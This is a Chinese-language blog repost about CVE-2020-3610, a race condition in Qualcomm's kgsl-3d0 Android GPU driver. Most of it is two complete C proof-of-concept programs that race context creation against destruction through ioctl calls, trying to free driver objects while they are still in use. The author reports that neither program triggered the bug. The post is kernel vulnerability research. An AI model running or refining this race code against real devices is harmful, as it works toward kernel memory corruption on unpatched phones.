欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

CVE-2020-3610

程序员文章站 2022-07-15 16:02:04
...

CVE-2020-3610

0x00 前言

这个漏洞是高通安全通告2020年5月的一个内核驱动kgsl-3d0的race condition漏洞, 我的poc并没有触发这个漏洞,但是根据Android的系统日志来看,我确实到达了漏洞函数处,我觉得根本原因应该是该漏洞的窗口期很小,然后释放的时候又是调用内核线程来异步释放的,所以很难真正的线程竞争成功,Android真机无法动态调试也是真难受,在此只是简单记录一下。

0x01 环境

小米8,sdm845,MIUI11.0.4稳定版,Android 9,内核版本4.9.112

0x02 主要的思路

细节很多就不展示了,核心的函数部分画了个思维导图:
CVE-2020-3610

0x03 未触发漏洞的poc

poc写了两个版本,第一版是我自己的思路,第二版是slipper师傅给我指点思路后,让我根据系统的时间片轮转算法来调整,主要原因是进行free操作时,会进行自旋锁,自旋锁会让等待的线程的优先级提升,从而有更大的几率触发漏洞。
ps:跑poc注意编译器,不同的Android kernel版本需要不同的编译器,我的系统这儿用的是aarch64-linux-android28-clang

自己的poc:

#include <linux/types.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <pthread.h>
#include <unistd.h>

#define KGSL_IOC_TYPE 0x09
#define IOCTL_KGSL_SUBMIT_COMMANDS \
		_IOWR(KGSL_IOC_TYPE, 0x3D, struct kgsl_submit_commands)
#define IOCTL_KGSL_DRAWCTXT_CREATE \
		_IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create)
#define IOCTL_KGSL_DRAWCTXT_DESTROY \
		_IOW(KGSL_IOC_TYPE, 0x14, struct kgsl_drawctxt_destroy)
#define KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP 0
#define KGSL_CONTEXT_USER_GENERATED_TS	0x00000080
#define KGSL_CMDBATCH_SYNC 0x400

#define e_num 32

//IOCTL_KGSL_SUBMIT_COMMANDS
struct kgsl_submit_commands {
	unsigned int context_id;		
	unsigned int flags;
	struct kgsl_ibdesc *cmdlist;
	unsigned int numcmds;
	struct kgsl_cmd_syncpoint *synclist;
	unsigned int numsyncs;
	unsigned int timestam;
	/* private: reserved for future use */
	unsigned int __pad[4];
};

//struct of cmdlist
struct kgsl_ibdesc {
	unsigned long gpuaddr;
	unsigned long __pad;
	size_t sizedwords;
	unsigned int ctrl;
};

//struct of synclist
struct kgsl_cmd_syncpoint {
	int type;
	void *priv;
	size_t size;
};
//size of kgsl_cmd_syncpoint need to be this
struct kgsl_cmd_syncpoint_timestamp {
	unsigned int context_id;
	unsigned int timestamp;
};

//create a drawctxt for context of driver, IOCTL_KGSL_DRAWCTXT_CREATE
struct kgsl_drawctxt_create {
	unsigned int flags;
	unsigned int drawctxt_id; /*output param */
};
//dsetroy a drawctxt for context of driver,IOCTL_KGSL_DRAWCTXT_DESTROY
struct kgsl_drawctxt_destroy {
	unsigned int drawctxt_id;
};

//param of create_one
struct usings{
	int fd;
	unsigned int context_id;
	unsigned int another_id;
	size_t size;
	int sleep_time;
};
//param of destroy_context_to_driver
struct for_destroy{
	int fd;
	unsigned int context_id;
	int thread_id; 
};


unsigned int create_context_to_driver(int fd){
	struct kgsl_drawctxt_create kdc;
	int flag=-100;
	memset(&kdc,0,sizeof(struct kgsl_drawctxt_create));
	kdc.flags=32505938; //0 000 11111 0000 0000 0000 0101 0010
	flag=ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE,&kdc);
	printf("<>context build+%d\n",flag);
	return kdc.drawctxt_id;
}

void* destroy_context_to_driver(void *arg){
	struct kgsl_drawctxt_destroy kdd;
	int flag=100;
	struct for_destroy *d_info=(struct for_destroy*)arg;	
	memset(&kdd,0,sizeof(struct kgsl_drawctxt_destroy));
	kdd.drawctxt_id=d_info->context_id;
	printf("<%d>context destroy start++++\n",d_info->thread_id);
	//usleep(1);
	flag=ioctl(d_info->fd,IOCTL_KGSL_DRAWCTXT_DESTROY,&kdd);
	printf("<%d>context destroy++++ %d\n",d_info->thread_id,flag);
	return (void *)NULL;
}


//create a drawobj to makesure i!=0
void *create_one(void *arg){
	struct kgsl_submit_commands ksc;
	struct kgsl_ibdesc ki;
	struct kgsl_cmd_syncpoint kcs[e_num];
	struct kgsl_cmd_syncpoint_timestamp kcst[e_num];
	struct kgsl_ibdesc *cmdlist=&ki;
	struct usings *my_use = (struct usings *)arg;
	int flag=-100;
	memset(&ksc,0,sizeof(struct kgsl_submit_commands));
	memset(cmdlist,0,sizeof(struct kgsl_ibdesc));
	memset(kcs,0,sizeof(struct kgsl_cmd_syncpoint)*e_num);
	memset(&kcst ,0,sizeof(struct kgsl_cmd_syncpoint_timestamp));
	//create 32 events,kgsl_cmd_syncpoint is struct of event
	usleep(5);
	for(int i=0;i<e_num-2;i++){
		kcst[i].timestamp=my_use->sleep_time;
		kcst[i].context_id=my_use->context_id;
		kcs[i].type=KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP;
		kcs[i].size=my_use->size;
		kcs[i].priv=&kcst[i];
	}

	kcst[e_num-2].timestamp=0;
	printf("%d\n",kcst[e_num-2].timestamp);
	kcst[e_num-2].context_id=my_use->another_id;
	kcs[e_num-2].type=KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP;
	kcs[e_num-2].size=my_use->size;
	kcs[e_num-2].priv=&kcst[e_num-2];

	kcst[e_num-1].timestamp=1000;
	printf("%d\n",kcst[e_num-1].timestamp);
	kcst[e_num-1].context_id=my_use->context_id;
	kcs[e_num-1].type=KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP;
	kcs[e_num-1].size=my_use->size;
	kcs[e_num-1].priv=&kcst[e_num-1];
	


	//kgsl_submit_commands
	ksc.cmdlist=cmdlist;
	ksc.synclist=kcs;
	ksc.numcmds=0;
	ksc.flags=KGSL_CMDBATCH_SYNC;
	ksc.numsyncs=e_num;     //number of event
	ksc.context_id=my_use->context_id;
	ksc.timestam=1;

	//sleep(my_use->sleep_time);
	//printf("in thread\n");
	//printf("<%d>submit run start----\n",my_use->sleep_time);
	flag=ioctl(my_use->fd,IOCTL_KGSL_SUBMIT_COMMANDS,&ksc);
	//printf("<%d>submit run over----  %d\n",my_use->sleep_time,flag);
	return (void *)NULL;
}


int main(void){
	int fd;
	int t_r1=-1000;
	int t_r2=-1000;
	unsigned int context_id;
	unsigned int another_id;
	pthread_t p1;
	pthread_t p2;
	struct usings u1;
	struct usings u2;
	struct usings u3;
	struct for_destroy dd1;
	struct for_destroy dd2;
	void *(*kk)(void *);
	kk=&create_one;
	void *(*ds)(void *);
	ds=&destroy_context_to_driver;
	fd=open("/dev/kgsl-3d0",O_RDWR);
	if(fd==-1){
		perror("open");
		return -1;
	}
	long long i=0;
	while(1){
		printf("------------>%lld<-------------->start\n",i);
		t_r1=-1000;
		t_r2=-1000;
		context_id=create_context_to_driver(fd);
		another_id=create_context_to_driver(fd);
		printf("context_id=%d;\nanother_id=%d;\n",context_id,another_id);
		u1.context_id=context_id;
		u1.another_id=another_id;
		u1.fd=fd;
		u1.size=sizeof(struct kgsl_cmd_syncpoint_timestamp);
		u1.sleep_time=0;

		u2.context_id=context_id;
		u2.another_id=another_id;
		u2.fd=fd;
		u2.size=sizeof(struct kgsl_cmd_syncpoint_timestamp);
		u2.sleep_time=0;

		u3.context_id=context_id;
		u3.another_id=another_id;
		u3.fd=fd;
		u3.size=0;
		u3.sleep_time=3;

		dd1.context_id=another_id;
		dd1.fd=fd;
		dd1.thread_id=1;

		dd2.context_id=context_id;
		dd2.fd=fd;
		dd2.thread_id=2;

		//create_one(&u1);
		//pthread_create(&p2,NULL,ds,&dd);
		printf("@@race start!!\n");
		t_r2=pthread_create(&p2,NULL,ds,&dd1);
		if(t_r2!=0){
			printf("thread-%d false!!!\n",dd1.thread_id);
		}
		t_r1=pthread_create(&p1,NULL,kk,&u1);
		if(t_r1!=0){
			printf("thread-%d false!!!\n",u1.sleep_time);
		}
		//pthread_create(&p2,NULL,ds,&dd2);
		//create_one(&u1);
		//destroy_context_to_driver(&dd); 
		//create_one(&u2);
		printf("thread0 run over-- %d\n",pthread_join(p1,NULL));
		printf("thread1 run over-- %d\n",pthread_join(p2,NULL));
		//sleep(1);
		destroy_context_to_driver(&dd2);
		printf("------------>%lld<-------------->over\n\n",i);
		i++;
	}
	//create_one(&u1);
	//printf("first success----\n");
	//pthread_create(&p1,NULL,kk,&u2);
	//destroy_context_to_driver(&dd); 
	//sleep(1);
	printf("finish\n");
}

调整之后的poc:

#include <linux/types.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <pthread.h>
#include <unistd.h>

#define KGSL_IOC_TYPE 0x09
#define IOCTL_KGSL_SUBMIT_COMMANDS \
		_IOWR(KGSL_IOC_TYPE, 0x3D, struct kgsl_submit_commands)
#define IOCTL_KGSL_DRAWCTXT_CREATE \
		_IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create)
#define IOCTL_KGSL_DRAWCTXT_DESTROY \
		_IOW(KGSL_IOC_TYPE, 0x14, struct kgsl_drawctxt_destroy)
#define KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP 0
#define KGSL_CONTEXT_USER_GENERATED_TS	0x00000080
#define KGSL_CMDBATCH_SYNC 0x400

#define e_num 32

unsigned int context_id=1000;
unsigned int another_id=1000;
int fd;

//IOCTL_KGSL_SUBMIT_COMMANDS
struct kgsl_submit_commands {
	unsigned int context_id;		
	unsigned int flags;
	struct kgsl_ibdesc *cmdlist;
	unsigned int numcmds;
	struct kgsl_cmd_syncpoint *synclist;
	unsigned int numsyncs;
	unsigned int timestam;
	/* private: reserved for future use */
	unsigned int __pad[4];
};

//struct of cmdlist
struct kgsl_ibdesc {
	unsigned long gpuaddr;
	unsigned long __pad;
	size_t sizedwords;
	unsigned int ctrl;
};

//struct of synclist
struct kgsl_cmd_syncpoint {
	int type;
	void *priv;
	size_t size;
};
//size of kgsl_cmd_syncpoint need to be this
struct kgsl_cmd_syncpoint_timestamp {
	unsigned int context_id;
	unsigned int timestamp;
};

//create a drawctxt for context of driver, IOCTL_KGSL_DRAWCTXT_CREATE
struct kgsl_drawctxt_create {
	unsigned int flags;
	unsigned int drawctxt_id; /*output param */
};
//dsetroy a drawctxt for context of driver,IOCTL_KGSL_DRAWCTXT_DESTROY
struct kgsl_drawctxt_destroy {
	unsigned int drawctxt_id;
};

//create a context
unsigned int create_context_to_driver(int fd){
	struct kgsl_drawctxt_create kdc;
	int flag=-100;
	memset(&kdc,0,sizeof(struct kgsl_drawctxt_create));
	kdc.flags=32505938; //0 000 11111 0000 0000 0000 0101 0010
	flag=ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE,&kdc);
	printf("<>context build+%d\n",flag);
	return kdc.drawctxt_id;
}

//destroy a context
void* destroy_context_to_driver(void *arg){
	struct kgsl_drawctxt_destroy *kdd=(struct kgsl_drawctxt_destroy *)arg;
	int flag1=100;
	flag1=ioctl(fd,IOCTL_KGSL_DRAWCTXT_DESTROY,kdd);
	printf("context destroy++++ %d\n",flag1);
	return (void *)NULL;
}

//create a drawobj to makesure i!=0
void *create_one(void *arg){
	struct kgsl_submit_commands ksc;
	struct kgsl_ibdesc ki;
	struct kgsl_cmd_syncpoint kcs[e_num];
	struct kgsl_cmd_syncpoint_timestamp kcst[e_num];
	struct kgsl_ibdesc *cmdlist=&ki;
	//struct usings *my_use = (struct usings *)arg;
	memset(&ksc,0,sizeof(struct kgsl_submit_commands));
	memset(cmdlist,0,sizeof(struct kgsl_ibdesc));
	memset(kcs,0,sizeof(struct kgsl_cmd_syncpoint)*e_num);
	memset(&kcst ,0,sizeof(struct kgsl_cmd_syncpoint_timestamp));
	//create 32 events,kgsl_cmd_syncpoint is struct of event
	for(int i=0;i<e_num-2;i++){
		kcst[i].timestamp=0;
		kcst[i].context_id=another_id;
		kcs[i].type=KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP;
		kcs[i].size=sizeof(struct kgsl_cmd_syncpoint_timestamp);
		kcs[i].priv=&kcst[i];
	}

	kcst[e_num-2].timestamp=0;
	printf("%d\n",kcst[e_num-2].timestamp);
	kcst[e_num-2].context_id=another_id;
	kcs[e_num-2].type=KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP;
	kcs[e_num-2].size=sizeof(struct kgsl_cmd_syncpoint_timestamp);
	kcs[e_num-2].priv=&kcst[e_num-2];

	kcst[e_num-1].timestamp=666;
	printf("%d\n",kcst[e_num-1].timestamp);
	kcst[e_num-1].context_id=context_id;
	kcs[e_num-1].type=KGSL_CMD_SYNCPOINT_TYPE_TIMESTAMP;
	kcs[e_num-1].size=sizeof(struct kgsl_cmd_syncpoint_timestamp);
	kcs[e_num-1].priv=&kcst[e_num-1];
	


	//kgsl_submit_commands
	ksc.cmdlist=cmdlist;
	ksc.synclist=kcs;
	ksc.numcmds=0;
	ksc.flags=KGSL_CMDBATCH_SYNC;
	ksc.numsyncs=e_num;     //number of event
	ksc.context_id=context_id;
	ksc.timestam=1;

	int flag=-100;
	while(1){
		flag=ioctl(fd,IOCTL_KGSL_SUBMIT_COMMANDS,&ksc);
		printf("submit run over----  %d\n",flag);
		flag=-100;
	}
	return (void *)NULL;
}


int main(void){

	int t_r1=-1000;
	int t_r2=-1000;

	pthread_t p1;
	pthread_t p2;

	void *(*kk)(void *);
	kk=&create_one;
	void *(*ds)(void *);
	ds=&destroy_context_to_driver;

	struct kgsl_submit_commands ksc;
	struct kgsl_drawctxt_destroy kdd;

	fd=open("/dev/kgsl-3d0",O_RDWR);
	if(fd==-1){
		perror("open");
		return -1;
	}

	//create context
	context_id=create_context_to_driver(fd);
	another_id=create_context_to_driver(fd);
	printf("context_id=%d;\nanother_id=%d;\n",context_id,another_id);
	

	//ksc=prepare_create_one_struct(NULL);
	kdd.drawctxt_id=another_id;
	printf("@@race start!!\n");
	t_r1=pthread_create(&p1,NULL,kk,&ksc);
	if(t_r1!=0){
		printf("thread false!!!\n");
	}
	while(1){
		t_r2=pthread_create(&p2,NULL,ds,&kdd);
		if(t_r2!=0){
			printf("thread false!!!\n");
		}
		printf("thread1 run over-- %d\n",pthread_join(p2,NULL));
		another_id=create_context_to_driver(fd);
		kdd.drawctxt_id=another_id;	
	}
	printf("thread0 run over-- %d\n",pthread_join(p1,NULL));
	kdd.drawctxt_id=context_id;
	destroy_context_to_driver(&kdd);
	printf("finish\n");
}
相关标签: android kernel

推荐阅读